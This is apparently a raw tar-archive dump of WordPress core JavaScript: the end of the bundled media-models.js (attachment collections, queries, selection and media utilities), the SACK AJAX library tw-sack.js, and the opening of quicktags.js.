/** * If the `query` property is set to true, query the server using * the `props` values, and sync the results to this collection. * * @access private * * @param {Backbone.Model} model * @param {boolean} query */ _changeQuery: function( model, query ) { if ( query ) { this.props.on( 'change', this._requery, this ); this._requery(); } else { this.props.off( 'change', this._requery, this ); } }, /** * @access private * * @param {Backbone.Model} model */ _changeFilteredProps: function( model ) { // If this is a query, updating the collection will be handled by // `this._requery()`. if ( this.props.get('query') ) { return; } var changed = _.chain( model.changed ).map( function( t, prop ) { var filter = Attachments.filters[ prop ], term = model.get( prop ); if ( ! filter ) { return; } if ( term && ! this.filters[ prop ] ) { this.filters[ prop ] = filter; } else if ( ! term && this.filters[ prop ] === filter ) { delete this.filters[ prop ]; } else { return; } // Record the change. return true; }, this ).any().value(); if ( ! changed ) { return; } // If no `Attachments` model is provided to source the searches from, // then automatically generate a source from the existing models. if ( ! this._source ) { this._source = new Attachments( this.models ); } this.reset( this._source.filter( this.validator, this ) ); }, validateDestroyed: false, /** * Checks whether an attachment is valid. * * @param {wp.media.model.Attachment} attachment * @return {boolean} */ validator: function( attachment ) { if ( ! this.validateDestroyed && attachment.destroyed ) { return false; } return _.all( this.filters, function( filter ) { return !! filter.call( this, attachment ); }, this ); }, /** * Add or remove an attachment to the collection depending on its validity. * * @param {wp.media.model.Attachment} attachment * @param {Object} options * @return {wp.media.model.Attachments} Returns itself to allow chaining. */ validate: function( attachment, options ) { var valid = this.validator( attachment ), hasAttachment = !! this.get( attachment.cid ); if ( ! valid && hasAttachment ) { this.remove( attachment, options ); } else if ( valid && ! hasAttachment ) { this.add( attachment, options ); } return this; }, /** * Add or remove all attachments from another collection depending on each one's validity. * * @param {wp.media.model.Attachments} attachments * @param {Object} [options={}] * * @fires wp.media.model.Attachments#reset * * @return {wp.media.model.Attachments} Returns itself to allow chaining. */ validateAll: function( attachments, options ) { options = options || {}; _.each( attachments.models, function( attachment ) { this.validate( attachment, { silent: true }); }, this ); if ( ! options.silent ) { this.trigger( 'reset', this, options ); } return this; }, /** * Start observing another attachments collection change events * and replicate them on this collection. * * @param {wp.media.model.Attachments} The attachments collection to observe. * @return {wp.media.model.Attachments} Returns itself to allow chaining. */ observe: function( attachments ) { this.observers = this.observers || []; this.observers.push( attachments ); attachments.on( 'add change remove', this._validateHandler, this ); attachments.on( 'add', this._addToTotalAttachments, this ); attachments.on( 'remove', this._removeFromTotalAttachments, this ); attachments.on( 'reset', this._validateAllHandler, this ); this.validateAll( attachments ); return this; }, /** * Stop replicating collection change events from another attachments collection. * * @param {wp.media.model.Attachments} The attachments collection to stop observing. * @return {wp.media.model.Attachments} Returns itself to allow chaining. */ unobserve: function( attachments ) { if ( attachments ) { attachments.off( null, null, this ); this.observers = _.without( this.observers, attachments ); } else { _.each( this.observers, function( attachments ) { attachments.off( null, null, this ); }, this ); delete this.observers; } return this; }, /** * Update total attachment count when items are added to a collection. * * @access private * * @since 5.8.0 */ _removeFromTotalAttachments: function() { if ( this.mirroring ) { this.mirroring.totalAttachments = this.mirroring.totalAttachments - 1; } }, /** * Update total attachment count when items are added to a collection. * * @access private * * @since 5.8.0 */ _addToTotalAttachments: function() { if ( this.mirroring ) { this.mirroring.totalAttachments = this.mirroring.totalAttachments + 1; } }, /** * @access private * * @param {wp.media.model.Attachments} attachment * @param {wp.media.model.Attachments} attachments * @param {Object} options * * @return {wp.media.model.Attachments} Returns itself to allow chaining. */ _validateHandler: function( attachment, attachments, options ) { // If we're not mirroring this `attachments` collection, // only retain the `silent` option. options = attachments === this.mirroring ? options : { silent: options && options.silent }; return this.validate( attachment, options ); }, /** * @access private * * @param {wp.media.model.Attachments} attachments * @param {Object} options * @return {wp.media.model.Attachments} Returns itself to allow chaining. */ _validateAllHandler: function( attachments, options ) { return this.validateAll( attachments, options ); }, /** * Start mirroring another attachments collection, clearing out any models already * in the collection. * * @param {wp.media.model.Attachments} The attachments collection to mirror. * @return {wp.media.model.Attachments} Returns itself to allow chaining. */ mirror: function( attachments ) { if ( this.mirroring && this.mirroring === attachments ) { return this; } this.unmirror(); this.mirroring = attachments; // Clear the collection silently. A `reset` event will be fired // when `observe()` calls `validateAll()`. this.reset( [], { silent: true } ); this.observe( attachments ); // Used for the search results. this.trigger( 'attachments:received', this ); return this; }, /** * Stop mirroring another attachments collection. */ unmirror: function() { if ( ! this.mirroring ) { return; } this.unobserve( this.mirroring ); delete this.mirroring; }, /** * Retrieve more attachments from the server for the collection. * * Only works if the collection is mirroring a Query Attachments collection, * and forwards to its `more` method. This collection class doesn't have * server persistence by itself. * * @param {Object} options * @return {Promise} */ more: function( options ) { var deferred = jQuery.Deferred(), mirroring = this.mirroring, attachments = this; if ( ! mirroring || ! mirroring.more ) { return deferred.resolveWith( this ).promise(); } /* * If we're mirroring another collection, forward `more` to * the mirrored collection. Account for a race condition by * checking if we're still mirroring that collection when * the request resolves. */ mirroring.more( options ).done( function() { if ( this === attachments.mirroring ) { deferred.resolveWith( this ); } // Used for the search results. attachments.trigger( 'attachments:received', this ); }); return deferred.promise(); }, /** * Whether there are more attachments that haven't been sync'd from the server * that match the collection's query. * * Only works if the collection is mirroring a Query Attachments collection, * and forwards to its `hasMore` method. This collection class doesn't have * server persistence by itself. * * @return {boolean} */ hasMore: function() { return this.mirroring ? this.mirroring.hasMore() : false; }, /** * Holds the total number of attachments. * * @since 5.8.0 */ totalAttachments: 0, /** * Gets the total number of attachments. * * @since 5.8.0 * * @return {number} The total number of attachments. */ getTotalAttachments: function() { return this.mirroring ? this.mirroring.totalAttachments : 0; }, /** * A custom Ajax-response parser. * * See trac ticket #24753. * * Called automatically by Backbone whenever a collection's models are returned * by the server, in fetch. The default implementation is a no-op, simply * passing through the JSON response. We override this to add attributes to * the collection items. * * @param {Object|Array} response The raw response Object/Array. * @param {Object} xhr * @return {Array} The array of model attributes to be added to the collection */ parse: function( response, xhr ) { if ( ! _.isArray( response ) ) { response = [response]; } return _.map( response, function( attrs ) { var id, attachment, newAttributes; if ( attrs instanceof Backbone.Model ) { id = attrs.get( 'id' ); attrs = attrs.attributes; } else { id = attrs.id; } attachment = wp.media.model.Attachment.get( id ); newAttributes = attachment.parse( attrs, xhr ); if ( ! _.isEqual( attachment.attributes, newAttributes ) ) { attachment.set( newAttributes ); } return attachment; }); }, /** * If the collection is a query, create and mirror an Attachments Query collection. * * @access private * @param {Boolean} refresh Deprecated, refresh parameter no longer used. */ _requery: function() { var props; if ( this.props.get('query') ) { props = this.props.toJSON(); this.mirror( wp.media.model.Query.get( props ) ); } }, /** * If this collection is sorted by `menuOrder`, recalculates and saves * the menu order to the database. * * @return {undefined|Promise} */ saveMenuOrder: function() { if ( 'menuOrder' !== this.props.get('orderby') ) { return; } /* * Removes any uploading attachments, updates each attachment's * menu order, and returns an object with an { id: menuOrder } * mapping to pass to the request. */ var attachments = this.chain().filter( function( attachment ) { return ! _.isUndefined( attachment.id ); }).map( function( attachment, index ) { // Indices start at 1. index = index + 1; attachment.set( 'menuOrder', index ); return [ attachment.id, index ]; }).object().value(); if ( _.isEmpty( attachments ) ) { return; } return wp.media.post( 'save-attachment-order', { nonce: wp.media.model.settings.post.nonce, post_id: wp.media.model.settings.post.id, attachments: attachments }); } },/** @lends wp.media.model.Attachments */{ /** * A function to compare two attachment models in an attachments collection. * * Used as the default comparator for instances of wp.media.model.Attachments * and its subclasses. @see wp.media.model.Attachments._changeOrderby(). * * @param {Backbone.Model} a * @param {Backbone.Model} b * @param {Object} options * @return {number} -1 if the first model should come before the second, * 0 if they are of the same rank and * 1 if the first model should come after. */ comparator: function( a, b, options ) { var key = this.props.get('orderby'), order = this.props.get('order') || 'DESC', ac = a.cid, bc = b.cid; a = a.get( key ); b = b.get( key ); if ( 'date' === key || 'modified' === key ) { a = a || new Date(); b = b || new Date(); } // If `options.ties` is set, don't enforce the `cid` tiebreaker. if ( options && options.ties ) { ac = bc = null; } return ( 'DESC' === order ) ? wp.media.compare( a, b, ac, bc ) : wp.media.compare( b, a, bc, ac ); }, /** @namespace wp.media.model.Attachments.filters */ filters: { /** * @static * Note that this client-side searching is *not* equivalent * to our server-side searching. * * @param {wp.media.model.Attachment} attachment * * @this wp.media.model.Attachments * * @return {Boolean} */ search: function( attachment ) { if ( ! this.props.get('search') ) { return true; } return _.any(['title','filename','description','caption','name'], function( key ) { var value = attachment.get( key ); return value && -1 !== value.search( this.props.get('search') ); }, this ); }, /** * @static * @param {wp.media.model.Attachment} attachment * * @this wp.media.model.Attachments * * @return {boolean} */ type: function( attachment ) { var type = this.props.get('type'), atts = attachment.toJSON(), mime, found; if ( ! type || ( _.isArray( type ) && ! type.length ) ) { return true; } mime = atts.mime || ( atts.file && atts.file.type ) || ''; if ( _.isArray( type ) ) { found = _.find( type, function (t) { return -1 !== mime.indexOf( t ); } ); } else { found = -1 !== mime.indexOf( type ); } return found; }, /** * @static * @param {wp.media.model.Attachment} attachment * * @this wp.media.model.Attachments * * @return {boolean} */ uploadedTo: function( attachment ) { var uploadedTo = this.props.get('uploadedTo'); if ( _.isUndefined( uploadedTo ) ) { return true; } return uploadedTo === attachment.get('uploadedTo'); }, /** * @static * @param {wp.media.model.Attachment} attachment * * @this wp.media.model.Attachments * * @return {boolean} */ status: function( attachment ) { var status = this.props.get('status'); if ( _.isUndefined( status ) ) { return true; } return status === attachment.get('status'); } } }); module.exports = Attachments; /***/ }), /***/ 5927: /***/ (function(module) { /** * wp.media.model.PostImage * * An instance of an image that's been embedded into a post. * * Used in the embedded image attachment display settings modal - @see wp.media.view.MediaFrame.ImageDetails. * * @memberOf wp.media.model * * @class * @augments Backbone.Model * * @param {int} [attributes] Initial model attributes. * @param {int} [attributes.attachment_id] ID of the attachment. **/ var PostImage = Backbone.Model.extend(/** @lends wp.media.model.PostImage.prototype */{ initialize: function( attributes ) { var Attachment = wp.media.model.Attachment; this.attachment = false; if ( attributes.attachment_id ) { this.attachment = Attachment.get( attributes.attachment_id ); if ( this.attachment.get( 'url' ) ) { this.dfd = jQuery.Deferred(); this.dfd.resolve(); } else { this.dfd = this.attachment.fetch(); } this.bindAttachmentListeners(); } // Keep URL in sync with changes to the type of link. this.on( 'change:link', this.updateLinkUrl, this ); this.on( 'change:size', this.updateSize, this ); this.setLinkTypeFromUrl(); this.setAspectRatio(); this.set( 'originalUrl', attributes.url ); }, bindAttachmentListeners: function() { this.listenTo( this.attachment, 'sync', this.setLinkTypeFromUrl ); this.listenTo( this.attachment, 'sync', this.setAspectRatio ); this.listenTo( this.attachment, 'change', this.updateSize ); }, changeAttachment: function( attachment, props ) { this.stopListening( this.attachment ); this.attachment = attachment; this.bindAttachmentListeners(); this.set( 'attachment_id', this.attachment.get( 'id' ) ); this.set( 'caption', this.attachment.get( 'caption' ) ); this.set( 'alt', this.attachment.get( 'alt' ) ); this.set( 'size', props.get( 'size' ) ); this.set( 'align', props.get( 'align' ) ); this.set( 'link', props.get( 'link' ) ); this.updateLinkUrl(); this.updateSize(); }, setLinkTypeFromUrl: function() { var linkUrl = this.get( 'linkUrl' ), type; if ( ! linkUrl ) { this.set( 'link', 'none' ); return; } // Default to custom if there is a linkUrl. type = 'custom'; if ( this.attachment ) { if ( this.attachment.get( 'url' ) === linkUrl ) { type = 'file'; } else if ( this.attachment.get( 'link' ) === linkUrl ) { type = 'post'; } } else { if ( this.get( 'url' ) === linkUrl ) { type = 'file'; } } this.set( 'link', type ); }, updateLinkUrl: function() { var link = this.get( 'link' ), url; switch( link ) { case 'file': if ( this.attachment ) { url = this.attachment.get( 'url' ); } else { url = this.get( 'url' ); } this.set( 'linkUrl', url ); break; case 'post': this.set( 'linkUrl', this.attachment.get( 'link' ) ); break; case 'none': this.set( 'linkUrl', '' ); break; } }, updateSize: function() { var size; if ( ! this.attachment ) { return; } if ( this.get( 'size' ) === 'custom' ) { this.set( 'width', this.get( 'customWidth' ) ); this.set( 'height', this.get( 'customHeight' ) ); this.set( 'url', this.get( 'originalUrl' ) ); return; } size = this.attachment.get( 'sizes' )[ this.get( 'size' ) ]; if ( ! size ) { return; } this.set( 'url', size.url ); this.set( 'width', size.width ); this.set( 'height', size.height ); }, setAspectRatio: function() { var full; if ( this.attachment && this.attachment.get( 'sizes' ) ) { full = this.attachment.get( 'sizes' ).full; if ( full ) { this.set( 'aspectRatio', full.width / full.height ); return; } } this.set( 'aspectRatio', this.get( 'customWidth' ) / this.get( 'customHeight' ) ); } }); module.exports = PostImage; /***/ }), /***/ 4009: /***/ (function(module) { var Attachments = wp.media.model.Attachments, Query; /** * wp.media.model.Query * * A collection of attachments that match the supplied query arguments. * * Note: Do NOT change this.args after the query has been initialized. * Things will break. * * @memberOf wp.media.model * * @class * @augments wp.media.model.Attachments * @augments Backbone.Collection * * @param {array} [models] Models to initialize with the collection. * @param {object} [options] Options hash. * @param {object} [options.args] Attachments query arguments. * @param {object} [options.args.posts_per_page] */ Query = Attachments.extend(/** @lends wp.media.model.Query.prototype */{ /** * @param {Array} [models=[]] Array of initial models to populate the collection. * @param {Object} [options={}] */ initialize: function( models, options ) { var allowed; options = options || {}; Attachments.prototype.initialize.apply( this, arguments ); this.args = options.args; this._hasMore = true; this.created = new Date(); this.filters.order = function( attachment ) { var orderby = this.props.get('orderby'), order = this.props.get('order'); if ( ! this.comparator ) { return true; } /* * We want any items that can be placed before the last * item in the set. If we add any items after the last * item, then we can't guarantee the set is complete. */ if ( this.length ) { return 1 !== this.comparator( attachment, this.last(), { ties: true }); /* * Handle the case where there are no items yet and * we're sorting for recent items. In that case, we want * changes that occurred after we created the query. */ } else if ( 'DESC' === order && ( 'date' === orderby || 'modified' === orderby ) ) { return attachment.get( orderby ) >= this.created; // If we're sorting by menu order and we have no items, // accept any items that have the default menu order (0). } else if ( 'ASC' === order && 'menuOrder' === orderby ) { return attachment.get( orderby ) === 0; } // Otherwise, we don't want any items yet. return false; }; /* * Observe the central `wp.Uploader.queue` collection to watch for * new matches for the query. * * Only observe when a limited number of query args are set. There * are no filters for other properties, so observing will result in * false positives in those queries. */ allowed = [ 's', 'order', 'orderby', 'posts_per_page', 'post_mime_type', 'post_parent', 'author' ]; if ( wp.Uploader && _( this.args ).chain().keys().difference( allowed ).isEmpty().value() ) { this.observe( wp.Uploader.queue ); } }, /** * Whether there are more attachments that haven't been sync'd from the server * that match the collection's query. * * @return {boolean} */ hasMore: function() { return this._hasMore; }, /** * Fetch more attachments from the server for the collection. * * @param {Object} [options={}] * @return {Promise} */ more: function( options ) { var query = this; // If there is already a request pending, return early with the Deferred object. if ( this._more && 'pending' === this._more.state() ) { return this._more; } if ( ! this.hasMore() ) { return jQuery.Deferred().resolveWith( this ).promise(); } options = options || {}; options.remove = false; return this._more = this.fetch( options ).done( function( response ) { if ( _.isEmpty( response ) || -1 === query.args.posts_per_page || response.length < query.args.posts_per_page ) { query._hasMore = false; } }); }, /** * Overrides Backbone.Collection.sync * Overrides wp.media.model.Attachments.sync * * @param {string} method * @param {Backbone.Model} model * @param {Object} [options={}] * @return {Promise} */ sync: function( method, model, options ) { var args, fallback; // Overload the read method so Attachment.fetch() functions correctly. if ( 'read' === method ) { options = options || {}; options.context = this; options.data = _.extend( options.data || {}, { action: 'query-attachments', post_id: wp.media.model.settings.post.id }); // Clone the args so manipulation is non-destructive. args = _.clone( this.args ); // Determine which page to query. if ( -1 !== args.posts_per_page ) { args.paged = Math.round( this.length / args.posts_per_page ) + 1; } options.data.query = args; return wp.media.ajax( options ); // Otherwise, fall back to `Backbone.sync()`. } else { /** * Call wp.media.model.Attachments.sync or Backbone.sync */ fallback = Attachments.prototype.sync ? Attachments.prototype : Backbone; return fallback.sync.apply( this, arguments ); } } }, /** @lends wp.media.model.Query */{ /** * @readonly */ defaultProps: { orderby: 'date', order: 'DESC' }, /** * @readonly */ defaultArgs: { posts_per_page: 80 }, /** * @readonly */ orderby: { allowed: [ 'name', 'author', 'date', 'title', 'modified', 'uploadedTo', 'id', 'post__in', 'menuOrder' ], /** * A map of JavaScript orderby values to their WP_Query equivalents. * @type {Object} */ valuemap: { 'id': 'ID', 'uploadedTo': 'parent', 'menuOrder': 'menu_order ID' } }, /** * A map of JavaScript query properties to their WP_Query equivalents. * * @readonly */ propmap: { 'search': 's', 'type': 'post_mime_type', 'perPage': 'posts_per_page', 'menuOrder': 'menu_order', 'uploadedTo': 'post_parent', 'status': 'post_status', 'include': 'post__in', 'exclude': 'post__not_in', 'author': 'author' }, /** * Creates and returns an Attachments Query collection given the properties. * * Caches query objects and reuses where possible. * * @static * @method * * @param {object} [props] * @param {Object} [props.order] * @param {Object} [props.orderby] * @param {Object} [props.include] * @param {Object} [props.exclude] * @param {Object} [props.s] * @param {Object} [props.post_mime_type] * @param {Object} [props.posts_per_page] * @param {Object} [props.menu_order] * @param {Object} [props.post_parent] * @param {Object} [props.post_status] * @param {Object} [props.author] * @param {Object} [options] * * @return {wp.media.model.Query} A new Attachments Query collection. */ get: (function(){ /** * @static * @type Array */ var queries = []; /** * @return {Query} */ return function( props, options ) { var args = {}, orderby = Query.orderby, defaults = Query.defaultProps, query; // Remove the `query` property. This isn't linked to a query, // this *is* the query. delete props.query; // Fill default args. _.defaults( props, defaults ); // Normalize the order. props.order = props.order.toUpperCase(); if ( 'DESC' !== props.order && 'ASC' !== props.order ) { props.order = defaults.order.toUpperCase(); } // Ensure we have a valid orderby value. if ( ! _.contains( orderby.allowed, props.orderby ) ) { props.orderby = defaults.orderby; } _.each( [ 'include', 'exclude' ], function( prop ) { if ( props[ prop ] && ! _.isArray( props[ prop ] ) ) { props[ prop ] = [ props[ prop ] ]; } } ); // Generate the query `args` object. // Correct any differing property names. _.each( props, function( value, prop ) { if ( _.isNull( value ) ) { return; } args[ Query.propmap[ prop ] || prop ] = value; }); // Fill any other default query args. _.defaults( args, Query.defaultArgs ); // `props.orderby` does not always map directly to `args.orderby`. // Substitute exceptions specified in orderby.keymap. args.orderby = orderby.valuemap[ props.orderby ] || props.orderby; queries = []; // Otherwise, create a new query and add it to the cache. if ( ! query ) { query = new Query( [], _.extend( options || {}, { props: props, args: args } ) ); queries.push( query ); } return query; }; }()) }); module.exports = Query; /***/ }), /***/ 6584: /***/ (function(module) { var Attachments = wp.media.model.Attachments, Selection; /** * wp.media.model.Selection * * A selection of attachments. * * @memberOf wp.media.model * * @class * @augments wp.media.model.Attachments * @augments Backbone.Collection */ Selection = Attachments.extend(/** @lends wp.media.model.Selection.prototype */{ /** * Refresh the `single` model whenever the selection changes. * Binds `single` instead of using the context argument to ensure * it receives no parameters. * * @param {Array} [models=[]] Array of models used to populate the collection. * @param {Object} [options={}] */ initialize: function( models, options ) { /** * call 'initialize' directly on the parent class */ Attachments.prototype.initialize.apply( this, arguments ); this.multiple = options && options.multiple; this.on( 'add remove reset', _.bind( this.single, this, false ) ); }, /** * If the workflow does not support multi-select, clear out the selection * before adding a new attachment to it. * * @param {Array} models * @param {Object} options * @return {wp.media.model.Attachment[]} */ add: function( models, options ) { if ( ! this.multiple ) { this.remove( this.models ); } /** * call 'add' directly on the parent class */ return Attachments.prototype.add.call( this, models, options ); }, /** * Fired when toggling (clicking on) an attachment in the modal. * * @param {undefined|boolean|wp.media.model.Attachment} model * * @fires wp.media.model.Selection#selection:single * @fires wp.media.model.Selection#selection:unsingle * * @return {Backbone.Model} */ single: function( model ) { var previous = this._single; // If a `model` is provided, use it as the single model. if ( model ) { this._single = model; } // If the single model isn't in the selection, remove it. if ( this._single && ! this.get( this._single.cid ) ) { delete this._single; } this._single = this._single || this.last(); // If single has changed, fire an event. if ( this._single !== previous ) { if ( previous ) { previous.trigger( 'selection:unsingle', previous, this ); // If the model was already removed, trigger the collection // event manually. if ( ! this.get( previous.cid ) ) { this.trigger( 'selection:unsingle', previous, this ); } } if ( this._single ) { this._single.trigger( 'selection:single', this._single, this ); } } // Return the single model, or the last model as a fallback. return this._single; } }); module.exports = Selection; /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ var __webpack_exports__ = {}; // This entry need to be wrapped in an IIFE because it need to be isolated against other modules in the chunk. !function() { /** * @output wp-includes/js/media-models.js */ var $ = jQuery, Attachment, Attachments, l10n, media; /** @namespace wp */ window.wp = window.wp || {}; /** * Create and return a media frame. * * Handles the default media experience. * * @alias wp.media * @memberOf wp * @namespace * * @param {Object} attributes The properties passed to the main media controller. * @return {wp.media.view.MediaFrame} A media workflow. */ media = wp.media = function( attributes ) { var MediaFrame = media.view.MediaFrame, frame; if ( ! MediaFrame ) { return; } attributes = _.defaults( attributes || {}, { frame: 'select' }); if ( 'select' === attributes.frame && MediaFrame.Select ) { frame = new MediaFrame.Select( attributes ); } else if ( 'post' === attributes.frame && MediaFrame.Post ) { frame = new MediaFrame.Post( attributes ); } else if ( 'manage' === attributes.frame && MediaFrame.Manage ) { frame = new MediaFrame.Manage( attributes ); } else if ( 'image' === attributes.frame && MediaFrame.ImageDetails ) { frame = new MediaFrame.ImageDetails( attributes ); } else if ( 'audio' === attributes.frame && MediaFrame.AudioDetails ) { frame = new MediaFrame.AudioDetails( attributes ); } else if ( 'video' === attributes.frame && MediaFrame.VideoDetails ) { frame = new MediaFrame.VideoDetails( attributes ); } else if ( 'edit-attachments' === attributes.frame && MediaFrame.EditAttachments ) { frame = new MediaFrame.EditAttachments( attributes ); } delete attributes.frame; media.frame = frame; return frame; }; /** @namespace wp.media.model */ /** @namespace wp.media.view */ /** @namespace wp.media.controller */ /** @namespace wp.media.frames */ _.extend( media, { model: {}, view: {}, controller: {}, frames: {} }); // Link any localized strings. l10n = media.model.l10n = window._wpMediaModelsL10n || {}; // Link any settings. media.model.settings = l10n.settings || {}; delete l10n.settings; Attachment = media.model.Attachment = __webpack_require__( 7727 ); Attachments = media.model.Attachments = __webpack_require__( 6940 ); media.model.Query = __webpack_require__( 4009 ); media.model.PostImage = __webpack_require__( 5927 ); media.model.Selection = __webpack_require__( 6584 ); /** * ======================================================================== * UTILITIES * ======================================================================== */ /** * A basic equality comparator for Backbone models. * * Used to order models within a collection - @see wp.media.model.Attachments.comparator(). * * @param {mixed} a The primary parameter to compare. * @param {mixed} b The primary parameter to compare. * @param {string} ac The fallback parameter to compare, a's cid. * @param {string} bc The fallback parameter to compare, b's cid. * @return {number} -1: a should come before b. * 0: a and b are of the same rank. * 1: b should come before a. */ media.compare = function( a, b, ac, bc ) { if ( _.isEqual( a, b ) ) { return ac === bc ? 0 : (ac > bc ? -1 : 1); } else { return a > b ? -1 : 1; } }; _.extend( media, /** @lends wp.media */{ /** * media.template( id ) * * Fetch a JavaScript template for an id, and return a templating function for it. * * See wp.template() in `wp-includes/js/wp-util.js`. * * @borrows wp.template as template */ template: wp.template, /** * media.post( [action], [data] ) * * Sends a POST request to WordPress. * See wp.ajax.post() in `wp-includes/js/wp-util.js`. * * @borrows wp.ajax.post as post */ post: wp.ajax.post, /** * media.ajax( [action], [options] ) * * Sends an XHR request to WordPress. * See wp.ajax.send() in `wp-includes/js/wp-util.js`. * * @borrows wp.ajax.send as ajax */ ajax: wp.ajax.send, /** * Scales a set of dimensions to fit within bounding dimensions. * * @param {Object} dimensions * @return {Object} */ fit: function( dimensions ) { var width = dimensions.width, height = dimensions.height, maxWidth = dimensions.maxWidth, maxHeight = dimensions.maxHeight, constraint; /* * Compare ratios between the two values to determine * which max to constrain by. If a max value doesn't exist, * then the opposite side is the constraint. */ if ( ! _.isUndefined( maxWidth ) && ! _.isUndefined( maxHeight ) ) { constraint = ( width / height > maxWidth / maxHeight ) ? 'width' : 'height'; } else if ( _.isUndefined( maxHeight ) ) { constraint = 'width'; } else if ( _.isUndefined( maxWidth ) && height > maxHeight ) { constraint = 'height'; } // If the value of the constrained side is larger than the max, // then scale the values. Otherwise return the originals; they fit. if ( 'width' === constraint && width > maxWidth ) { return { width : maxWidth, height: Math.round( maxWidth * height / width ) }; } else if ( 'height' === constraint && height > maxHeight ) { return { width : Math.round( maxHeight * width / height ), height: maxHeight }; } else { return { width : width, height: height }; } }, /** * Truncates a string by injecting an ellipsis into the middle. * Useful for filenames. * * @param {string} string * @param {number} [length=30] * @param {string} [replacement=…] * @return {string} The string, unless length is greater than string.length. */ truncate: function( string, length, replacement ) { length = length || 30; replacement = replacement || '…'; if ( string.length <= length ) { return string; } return string.substr( 0, length / 2 ) + replacement + string.substr( -1 * length / 2 ); } }); /** * ======================================================================== * MODELS * ======================================================================== */ /** * wp.media.attachment * * @static * @param {string} id A string used to identify a model. * @return {wp.media.model.Attachment} */ media.attachment = function( id ) { return Attachment.get( id ); }; /** * A collection of all attachments that have been fetched from the server. * * @static * @member {wp.media.model.Attachments} */ Attachments.all = new Attachments(); /** * wp.media.query * * Shorthand for creating a new Attachments Query. * * @param {Object} [props] * @return {wp.media.model.Attachments} */ media.query = function( props ) { return new Attachments( null, { props: _.extend( _.defaults( props || {}, { orderby: 'date' } ), { query: true } ) }); }; // Clean up. Prevents mobile browsers caching. $(window).on('unload', function(){ window.wp = null; }); }(); /******/ })() ;�����������������������������������������������������������������������������������������������������������������������js/tw-sack.js���������������������������������������������������������������������������������������0000644�����������������00000011551�14717703502�0007100 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* Simple AJAX Code-Kit (SACK) v1.6.1 */ /* 2005 Gregory Wild-Smith */ /* www.twilightuniverse.com */ /* Software licenced under a modified X11 licence, see documentation or authors website for more details */ function sack(file) { this.xmlhttp = null; this.resetData = function() { this.method = "POST"; this.queryStringSeparator = "?"; this.argumentSeparator = "&"; this.URLString = ""; this.encodeURIString = true; this.execute = false; this.element = null; this.elementObj = null; this.requestFile = file; this.vars = new Object(); this.responseStatus = new Array(2); }; this.resetFunctions = function() { this.onLoading = function() { }; this.onLoaded = function() { }; this.onInteractive = function() { }; this.onCompletion = function() { }; this.onError = function() { }; this.onFail = function() { }; }; this.reset = function() { this.resetFunctions(); this.resetData(); }; this.createAJAX = function() { try { this.xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e1) { try { this.xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e2) { this.xmlhttp = null; } } if (! this.xmlhttp) { if (typeof XMLHttpRequest != "undefined") { this.xmlhttp = new XMLHttpRequest(); } else { this.failed = true; } } }; this.setVar = function(name, value){ this.vars[name] = Array(value, false); }; this.encVar = function(name, value, returnvars) { if (true == returnvars) { return Array(encodeURIComponent(name), encodeURIComponent(value)); } else { this.vars[encodeURIComponent(name)] = Array(encodeURIComponent(value), true); } } this.processURLString = function(string, encode) { encoded = encodeURIComponent(this.argumentSeparator); regexp = new RegExp(this.argumentSeparator + "|" + encoded); varArray = string.split(regexp); for (i = 0; i < varArray.length; i++){ urlVars = varArray[i].split("="); if (true == encode){ this.encVar(urlVars[0], urlVars[1]); } else { this.setVar(urlVars[0], urlVars[1]); } } } this.createURLString = function(urlstring) { if (this.encodeURIString && this.URLString.length) { this.processURLString(this.URLString, true); } if (urlstring) { if (this.URLString.length) { this.URLString += this.argumentSeparator + urlstring; } else { this.URLString = urlstring; } } // prevents caching of URLString this.setVar("rndval", new Date().getTime()); urlstringtemp = new Array(); for (key in this.vars) { if (false == this.vars[key][1] && true == this.encodeURIString) { encoded = this.encVar(key, this.vars[key][0], true); delete this.vars[key]; this.vars[encoded[0]] = Array(encoded[1], true); key = encoded[0]; } urlstringtemp[urlstringtemp.length] = key + "=" + this.vars[key][0]; } if (urlstring){ this.URLString += this.argumentSeparator + urlstringtemp.join(this.argumentSeparator); } else { this.URLString += urlstringtemp.join(this.argumentSeparator); } } this.runResponse = function() { eval(this.response); } this.runAJAX = function(urlstring) { if (this.failed) { this.onFail(); } else { this.createURLString(urlstring); if (this.element) { this.elementObj = document.getElementById(this.element); } if (this.xmlhttp) { var self = this; if (this.method == "GET") { totalurlstring = this.requestFile + this.queryStringSeparator + this.URLString; this.xmlhttp.open(this.method, totalurlstring, true); } else { this.xmlhttp.open(this.method, this.requestFile, true); try { this.xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded") } catch (e) { } } this.xmlhttp.onreadystatechange = function() { switch (self.xmlhttp.readyState) { case 1: self.onLoading(); break; case 2: self.onLoaded(); break; case 3: self.onInteractive(); break; case 4: self.response = self.xmlhttp.responseText; self.responseXML = self.xmlhttp.responseXML; self.responseStatus[0] = self.xmlhttp.status; self.responseStatus[1] = self.xmlhttp.statusText; if (self.execute) { self.runResponse(); } if (self.elementObj) { elemNodeName = self.elementObj.nodeName; elemNodeName.toLowerCase(); if (elemNodeName == "input" || elemNodeName == "select" || elemNodeName == "option" || elemNodeName == "textarea") { self.elementObj.value = self.response; } else { self.elementObj.innerHTML = self.response; } } if (self.responseStatus[0] == "200") { self.onCompletion(); } else { self.onError(); } self.URLString = ""; break; } }; this.xmlhttp.send(this.URLString); } } }; this.reset(); this.createAJAX(); } �������������������������������������������������������������������������������������������������������������������������������������������������������js/quicktags.js�������������������������������������������������������������������������������������0000644�����������������00000054111�14717703502�0007521 0����������������������������������������������������������������������������������������������������ustar�00������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� /* * Quicktags * * This is the HTML editor in WordPress. It can be attached to any textarea and will * 